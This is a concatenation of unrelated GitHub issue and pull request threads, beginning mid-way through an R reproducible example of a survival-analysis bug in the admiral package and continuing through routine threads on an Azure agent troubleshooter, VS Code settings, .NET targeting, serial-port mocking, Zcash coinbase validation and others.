    ACTARMCD = structure("P", label = "Actual Arm Code"), TRT01P = structure("Placebo", label = "Planned Treatment"),
    TRT01PN = structure(2, label = "Planned Treatment (N)"),
    TRT01A = structure("Placebo", label = "Actual Treatment"),
    TRT01AN = structure(2, label = "Actual Treatment  (N)"),
    SAFFL = structure("Y", label = "Safety Population Flag"),
    MITTFL = structure("Y", label = "Modified Intent-to-Treat Population Flag"),
    RANDFL = structure("Y", label = "Randomized Population Flag"),
    TRTSDT = structure(NA_real_, label = "Date of First Exposure to Treatment", format.sas = "DATE", class = "Date"),
    TRTEDT = structure(NA_real_, label = "Date of Last Exposure to Treatment", format.sas = "DATE", class = "Date"),
    LSTALVDT = structure(18594, label = "Last Date Known Alive", format.sas = "DATE", class = "Date")), class = c("tbl_df",
"tbl", "data.frame"), row.names = c(NA, -1L), label = "character(0)")

adae <- structure(list(STUDYID = structure("GSK123456", label = "Study Identifier"),
    USUBJID = structure("GSK123456-1101", label = "Unique Subject Identifier"),
    AGE = structure(62, label = "Age"), AGEGR1 = structure("<65", label = "Pooled Age Group 1"),
    ACOUNTRY = structure("Canada", label = "Analysis Country"),
    SEX = structure("F", label = "Sex"), RACE = structure("MULTIPLE", label = "Race"),
    TRT01P = structure("Placebo", label = "Planned Treatment"),
    TRT01PN = structure(2, label = "Planned Treatment (N)"),
    TRT01A = structure("Placebo", label = "Actual Treatment"),
    TRT01AN = structure(2, label = "Actual Treatment  (N)"),
    AESTDTC = structure("2020-09-10", label = "Start Date/Time of Adverse Event"),
    AESEQ = structure(1, label = "Adverse Event Sequence"), AEENDTC = structure("2020-10-04", label = "End Date/Time of Adverse Event"),
    ASTDT = structure(18515, label = "Analysis Start Date", format.sas = "DATE", class = "Date"),
    AENDT = structure(18539, label = "Analysis End Date", format.sas = "DATE", class = "Date"),
    AEBODSYS = structure("CARDIAC DISORDERS", label = "Body System or Organ Class"),
    AETERM = structure("VENTRICULAR HYPERTROPHY", label = "Reported Term for the Adverse Event"),
    AEDECOD = structure("VENTRICULAR HYPERTROPHY", label = "Coded Term for the Adverse Event"),
    AESPROT = structure("N", label = "Protocol Specificed Event"),
    AESEV = structure("MILD", label = "Adverse Event Severity"),
    AEOUT = structure("RECOVERED/RESOLVED", label = "Adverse Event Outcome")), class = c("tbl_df",
"tbl", "data.frame"), row.names = c(NA, -1L), label = "character(0)")

lstalv_censor <- censor_source(
  "adsl",
  date = LSTALVDT,
  set_values_to = vars(
    EVNTDESC = "Last Known Alive Date",
    SRCDOM = "ADSL",
    SRCVAR = "LSTALVDT"
  )
)

any_ae_src <- event_source(
  dataset_name = "adae",
  date = ASTDT,
  set_values_to = vars(
    EVNTDESC = "Any Adverse Event",
    SRCDOM = "ADAE",
    SRCVAR = "AEDECOD",
    SRCSEQ = AESEQ
  )
)

adaette_any_ae <- derive_param_tte(
  dataset_adsl = adsl,
  source_datasets = list(adae = adae, adsl = adsl),
  start_date = TRTSDT,
  event_conditions = list(any_ae_src),
  censor_conditions = list(lstalv_censor),
  set_values_to = vars(
    PARAMCD = "ANYAETTE",
    PARAM = "Time to any first adverse event"
  )
)

print(adaette_any_ae)

# A tibble: 1 × 11
  STUDYID   USUBJID        EVNTDESC          SRCDOM SRCVAR  SRCSEQ  CNSR ADT    STARTDT PARAMCD  PARAM
  <chr>     <chr>          <chr>             <chr>  <chr>    <dbl> <int> <date> <date>  <chr>    <chr>
1 GSK123456 GSK123456-1101 Any Adverse Event ADAE   AEDECOD      1     0 NA     NA      ANYAETTE Time to any first adverse event

The issue is that we call pmax() without setting na.rm = FALSE:
https://github.com/pharmaverse/admiral/blob/5129b2e655aad7de63d596c0d290fb891fbdc1a1/R/derive_param_tte.R#L378-L380

Can this wait till the release, or do you want us to fix it now?

Hi @thomas-neitmann ! I see that the na.rm = TRUE component was already added to line 379. In that case, is there any other fix needed for this issue? I ran it in R and found that the output included an ADT date for the sample data.

@jcabercrombie Yes I created a branch and played around with it. There's still some things left to do: most importantly we should add a unit test that would fail when na.rm = TRUE is not set (i.e. highlight the bug reported here). Also the NEWS.md file should be updated. Would be great if you could take that on!

Makes total sense, Thomas! Thanks for the comment and for giving me these pointers, as this will be my first time contributing. I will look into the things left to do for this issue.

Great, thanks @jcabercrombie! If you need support let me know 🙂

@jcabercrombie Just seeing how this is progressing along?

Hi @bms63 ! I've since chatted Thomas offline for help, so sorry there haven't been updates on this issue's thread. I'm currently working on the unit test. Will reach out if I need assistance! Thanks for checking in.


Kinova robot

Hello,
is it possible to use this code to calibrate a monocular camera mounted on the end-effector of a Kinova Jaco2 manipulator?
Thanks!

Yes it can be done but I'd suggest https://github.com/jhu-lcsr/handeye_calib_camodocal, it has basically the same code but I expect it will be easier to integrate with that robot.


platform.linux_distribution is removed in Python 3.8

Hi,
Trying to run the troubleshooter on a Ubuntu 20.04
NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.1 LTS"
VERSION_ID="20.04"
And getting the below error:
CHECKING INSTALLATION...
Checking if running a supported OS version...
Traceback (most recent call last):
  File "/opt/microsoft/omsagent/tst/modules/helpers.py", line 65, in get_os_version
    (vm_dist, vm_ver, vm_id) = platform.linux_distribution()
AttributeError: module 'platform' has no attribute 'linux_distribution'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/opt/microsoft/omsagent/tst/modules/main.py", line 254, in <module>
    run_troubleshooter()
  File "/opt/microsoft/omsagent/tst/modules/main.py", line 204, in run_troubleshooter
    success = section(interactive=interactive_mode)
  File "/opt/microsoft/omsagent/tst/modules/main.py", line 58, in check_all
    checked_install = check_installation(interactive)
  File "/opt/microsoft/omsagent/tst/modules/install/install.py", line 111, in check_installation
    checked_os = check_os()
  File "/opt/microsoft/omsagent/tst/modules/install/check_os.py", line 87, in check_os
    vm_info = get_os_version()
  File "/opt/microsoft/omsagent/tst/modules/helpers.py", line 67, in get_os_version
    (vm_dist, vm_ver, vm_id) = platform.dist()
AttributeError: module 'platform' has no attribute 'dist'

According to this link
platform.linux_distribution is removed from Python 3.8
I'm I missing something or do we need an update of the troubleshooter?
Thanks!

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8de16fd2-54aa-1f46-0a42-d1540d937d03
Version Independent ID: 7a4964d7-8dc9-e838-4d81-914e9c31645b
Content: Troubleshoot Azure Log Analytics Linux Agent - Azure Monitor
Content Source: articles/azure-monitor/platform/agent-linux-troubleshoot.md
Service: azure-monitor
Sub-service: logs
GitHub Login: @bwren
Microsoft Alias: bwren

@emilguden Thank you for reaching out to us, we will review your scenario and get back to you at the earliest.

@BharathNimmala-MSFT Forgot to mention that Ubuntu 20.04.1 comes prepped with Python3.8.

@emilguden Apologies for delay in getting back to your thread. Our team has reached out to internal team to get more information regarding this scenario, will keep you updated accordingly. Thank you.

still broken 20.04


Tutorials in documentation

See https://github.com/ixdat/ixdat/pull/113#discussion_r1182547232
We need a way of keeping jupyter notebook tutorials version controlled, easily available for download, and visible in a readable form directly online - ideally directly documentation page. How to do this?

Solved with #127.
Possible future improvement in #133


editor.suggestSelection is not honored when editor.snippetSuggestions = top

Version: 1.40.2 (system setup)
Commit: f359dd69833dd8800b54d458f6d37ab7c78df520
Date: 2019-11-25T14:54:45.096Z
Electron: 6.1.5
Chrome: 76.0.3809.146
Node.js: 12.4.0
V8: 7.6.303.31-electron.0
OS: Windows_NT x64 10.0.18362:
Steps to Reproduce:

set editor.suggestSelection to recentlyUsed
set editor.snippetSuggestions to top

Does this issue occur when all extensions are disabled?: Yes
The following example demonstrates:

Expected behavior:
For snippets to honor the same filter/recentlyUsed rules, or even more direct, have the most recently used word be selected regardless where snippets are.
As you can see, typing something 'similar' to a snippet name, the snippet is not filtered out, even if the text obviously doesn't apply in terms of 'starts with'; it's more similar and recent to the SIMPLE_CONST const.

poor research on my end 😕
see: https://github.com/microsoft/vscode/issues/77253#issuecomment-510753259


Update Roslyn based libraries to 4.0.1 and use .NET 6 SDK with multitarget

Another way of doing upgrade in comparison to
https://github.com/daveaglick/Buildalyzer/pull/189

Ah, very clever using the StructuredLogger package to provide up-to-date log handling while downgrading the CodeAnalysis packages on .NET Core 3.x. I like where you’re going with this.
At this point, why even bother with the .NET 5/6 targets though? This drops .NET Framework support (which is okay) and .NET 5/6 can correctly consume a .NET Core 3.x package, so do we gain anything with the multi-targeting or would it be sufficient just to take your changes for .NET Core 3.1 and leave it at that for now?
I don’t like the idea of this much conditional on the target, and I have a feeling it’ll just continue to balloon as time goes on, so I don’t want to maintain it in this state. But if only targeting .NET Core 3.1 works with your approach we’ll do that and keep moving forward on that target as long as we can. If not, I’ll merge this PR for one final release before a new major release like what I was working on with a .NET 6 target.
Either way, nice work!

Cool - I'm working on this right now, stripped out the .NET 5/6 stuff and focusing on your changes to support .NET Core 3.1. If that works without the 5/6 targets we'll move forward with that approach as a baseline until we really need to update to .NET 6 at some point in the future. Even though we'll still have to drop .NET Framework support (I don't really see a way around that), this at least keeps the .NET Core 3.1 support for folks who need it.

Everything worked great and all tests passed, so I'm going to move forward with this change to keep us on .NET Core 3.1 for now. Very nice work!! Saved me quite a bit of trouble downstream in some other projects for now.


Update content for "Gaming using Cosmos DB" architecture

Updated architecture overview. Added  content under Components and Dataflow Flow sections.

I meant to make the same edits in the second article, and I forgot to do it before merging. I'll do a pull request to do that.


Provide a "back door" to mock port bindings so we can emulate serial devices

💥 Proposal
What feature you'd like to see
Mocking currently only supports echoing and explicit reading of history once a port is opened.  Provide a "back end" stream interface so we can emulate actual serial devices connected to mock ports.
Motivation
I am building unit tests for the code I write that talks to real serial port devices.  Unit tests can't easily run in an environment where there is physical hardware, so we need a way to not only emulate the port, but the protocol the device implements over it.
Pitch
I currently have no unit tests for any of the code I wrote that uses SerialPort to talk to hardware devices.  For example, I have a power meter (PZEM), an M-Bus interface, some custom Arduino devices, including a burning man LED display, and several lab meters that run over serial.  I want to write emulators for the protocols my devices use so I can create unit tests that can run under CI, in my case using Jest.
The mocking interface falls just short of letting me do what I need.  I can substitute SerialPortMock in place of SerialPort using Jest mocking, which lets me create mock ports ('/dev/ROBOT') that my target code will try to open.  My target code can open one of those ports, but I have no way of interacting with my target code as if it were talking to a real device.
One approach is to provide a stream interface from a mock port (MockBinding.create...) which I can use to listen for data my target code is sending, and send responses to it.  This stream interface would talk to any instance of SerialPortMock that opens that ports, so it would persist across port instances.
I could also extend MockPortBinding to implement my device class by overriding write, but there's no way to get MockBinding.createPort to use my class.  If I could specify the port binding to be returned by createPort that would do the trick.
I can't extend MockBinding because it's not a class, and I'd end up rewriting most of what it does.
I defer to the core implementers on the best way to achieve this, and indeed if I'm missing something let me know.

I experienced the same situation and workout an ugly workaround, hopefully this will help anyone who needs it
port.on('open', () => {
    port.port.write = async (buffer) => {
        this.writeOperation = Promise.resolve(buffer).then(buff => port.port.emitData(buff)); // do something before emit
        return this.writeOperation;
    }
}


Dialog is broken

It looks like Dialog background, chrome and title are not painted:

WHAT THE HECK? This was definitely working yesterday.

Yeah, I went to main and reverted ControlTheme PR and now it looks like this:


spot builder api

Introduces builder api for conveniently creating WebSocketApiClient following Rust builder pattern.

I created #11 and #12 to track implementation of this pattern in our other modules


fix(transparent): check coinbase data is at least 2 bytes long

Motivation
zcashd requires coinbase data that's 2-100 bytes long:
https://github.com/zcash/zcash/blob/d8c818bfa507adb845e527f5beb38345c490b330/src/main.cpp#L1697-L1698
But Zebra accepts coinbase data that's 1-100 bytes long:
https://github.com/ZcashFoundation/zebra/blob/fa071562fd0b891f29143e4cc8d17b34b4b1cf10/zebra-chain/src/transparent/serialize.rs#L250
https://github.com/ZcashFoundation/zebra/blob/fa071562fd0b891f29143e4cc8d17b34b4b1cf10/zebra-chain/src/transparent/serialize.rs#L74
Specifications
There is an upcoming change to the Zcash specifications:
https://github.com/zcash/zips/issues/589
Related Work
We might want to merge these height changes first, they could cause a merge conflict:

#3401

Hey team! Please add your planning poker estimate with ZenHub @dconnolly @conradoplg @gustavovalverde @jvff @oxarbitrage @teor2345 @upbqdn


Correction for raw affiliation Équipe CELLF 19-21

Correction needed for raw affiliation Équipe CELLF 19-21
raw_affiliation_name: Équipe CELLF 19-21
new_rors: ;059v8sw69
previous_rors:
works_examples: W4308663560
contact: b2ae19fad074dacfefc25a4ffaa1bf73:189e88bccfdc1811238c069d36 @ sorbonne-universite.fr

This issue was accepted and ingested by the OpenAlex team on 2024-11-01. The new affiliations should be visible within the next 7 days.


Debian stretch kernel key is now version 11, so update it here.

Signed-off-by: Chris Lalancette<EMAIL_ADDRESS>

Is there no metapackage that will be evergreen here/

Is there no metapackage that will be evergreen here?

As far as I can tell, no :(.  I looked briefly, and the options seem to be:
linux-headers-4.9.0-11-all - All header files for Linux 4.9 (meta-package)
linux-headers-4.9.0-11-all-amd64 - All header files for Linux 4.9 (meta-package)
linux-headers-4.9.0-11-amd64 - Header files for Linux 4.9.0-11-amd64
linux-headers-4.9.0-11-common - Common header files for Linux 4.9.0-11
linux-headers-4.9.0-11-common-rt - Common header files for Linux 4.9.0-11-rt
linux-headers-4.9.0-11-rt-amd64 - Header files for Linux 4.9.0-11-rt-amd64
linux-headers-amd64 - Header files for Linux amd64 configuration (meta-package)
linux-headers-rt-amd64 - Header files for Linux rt-amd64 configuration (meta-package)

Anything that ends with -amd64 is out, since that won't work across platforms.  That leaves us with linux-headers-4.9.0-11-all, linux-headers-4.9.0-11-common, and linux-headers-4.9.0-11-common-rt, and the latter two are still kernel specific but are a subset of the -all one.  If someone else knows of a different metapackage that is available that we could use here, I'd be all ears.


Create multi-threading_in_julia.md

This PR adds timestamps for Multi-threading in Julia with PARTR

Of course, I'll try to make it a bit more granular

I re-wrote the whole thing to include all questions. Let me know if that is too much detail


Extend unicode testing

I extended string in current tests with '❤' character to test Unicode
non-ASCII characters (utf-8 encoded)

OSBS-4457

Signed-off-by: Martin Bašti<EMAIL_ADDRESS>

Instead of duplicating tests for unicode testing, I chose to update current tests with unicode character ❤
Let me know what do you think

I'm not sure about testing FROM instruction with unicode, because:
$ podman pull 'fedora:❤'
Error: error pulling image "fedora:❤": unable to pull fedora:❤: error getting default registries to try: invalid reference format

I don't see any spec that forbids UTF-8 in image tag names.

I updated 2 simple cases to test FROM instruction

no RN: only unitests updated


[ID-78] User survey responses not accessible

Description
User survey responses not accessible
**Resolves #78
Review Time Estimate

[ ] Immediately
[ ] Within a week
[x] When possible

Type of changes

[x] Bug fix (non-breaking change which fixes an issue).
[ ] New feature (non-breaking change which adds functionality).
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected).
[ ] Other (any another change that does not fall in one of the above categories.)

Checklist:

[x] I have signed the Rokwire Contributor License Agreement (CLA). (Any contributor who is not an employee of the University of Illinois whose official duties include contributing to the Rokwire software, or who is not paid by the Rokwire project, needs to sign the CLA before their contribution can be accepted.)
[x] I have updated the CHANGELOG.
[x] I have read the Contributor Guidelines.
[x] I have performed a self-review of my own code.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] My change requires updating the documentation.
[ ] I have made necessary changes to the documentation.
[ ] I have added tests related to my changes.
[x] My changes generate no new warnings.
[ ] New and existing unit tests pass locally with my changes.
[ ] Any dependent changes have been merged and published in downstream modules.

Hi @shurwit I've made the fixes and think it works fine now. if you could take a quick look so i could merge it and deploy a new version on dev and resolve the problem. Thank you for your time.

Hi @stefanvit, thanks for working on this! Could you please still set the type to be "user" as a default value if the API request left this field empty?

Hi @shurwit ok i will in the morning, but doesn't the problem here https://github.com/rokwire/surveys-building-block/issues/78 stays if i do? Thank you again for your time.

Hi @stefanvit , I made this change myself in this commit here to make sure that it was clear what I meant. Essentially it is only applied as a default now if the caller does not specify the value. That way the caller may choose to set the value, but if not we don't end up with an empty string in the type field.


some suggestions

https://github.com/troian/josepp/blob/e4467db29a33eacc6e747494fc0b1ad762752af6/src/b64.cpp#L213
why pass it by reference when you're gonna make a copy anyway?
also stop moving all return values and let your compiler handle rvo please

Why don’t you make PR then

Look, i was just looking for a good jwt library and noticed some things and thought i'd let you know.

Ok, thank you for reporting.


Dynamic reference speed in total delay KPI

TotalDelay in ots-kpi has: // TODO something better than a global reference speed defined at the indicator

To solve this, the class will use in a new constructor a BiFunction<LaneData<?>, String, Speed>, which can give a reference speed per lane (LaneData<?>) and for a GTU type id (String). The existing constructor with a fixed reference speed uses: (lane, gtuTypeId) -> referenceSpeed in place of the BiFunction.


Any posibility of using magpie and JL together?

https://github.com/Blinue/Magpie makes possible to use neural upscalers like anime4k for eroge, but i can't put JL window on top of fullscreen created by magpie.
Is there any chance to use them together? Maybe i should ask this in magpie github issues instead?

Maybe i should ask this in magpie github issues instead?

Yes. JL already tries to be topmost. Even if JL were to try to keep itself topmost always with some ugly hack, it still wouldn't work in this case, because Magpie seems to manipulate cursor position too, so you cannot interact with JL correctly even if JL is visible.
See: https://github.com/Blinue/Magpie/issues/16

Even if JL were to try to keep itself topmost always with some ugly hack, it still wouldn't work in this case

It turns out I was wrong.  I will be adding an option for this in the next version of JL.

Nice! Thanks.


SUBMARINE-938. [User] Modify user documentation

What is this PR for?

Delete unimportant information and add critical ones.
Make the style consistent in the subpages.

What type of PR is it?
[Documentation]
Todos

[ ] - Task

What is the Jira issue?
https://issues.apache.org/jira/browse/SUBMARINE-938
How should this be tested?
Screenshots (if appropriate)
Questions:

Do the license files need updating? No
Are there breaking changes for older versions? No
Does this need new documentation? No

@pingsutw Help me review this one. Thanks!


test user credential updates and delete

all looks good except for a couple of commented out code that was left behind


Rollout #99

Rollout #99

 canary - In Progress
uswest - Pending (run after canary)
useast - Pending (run after canary)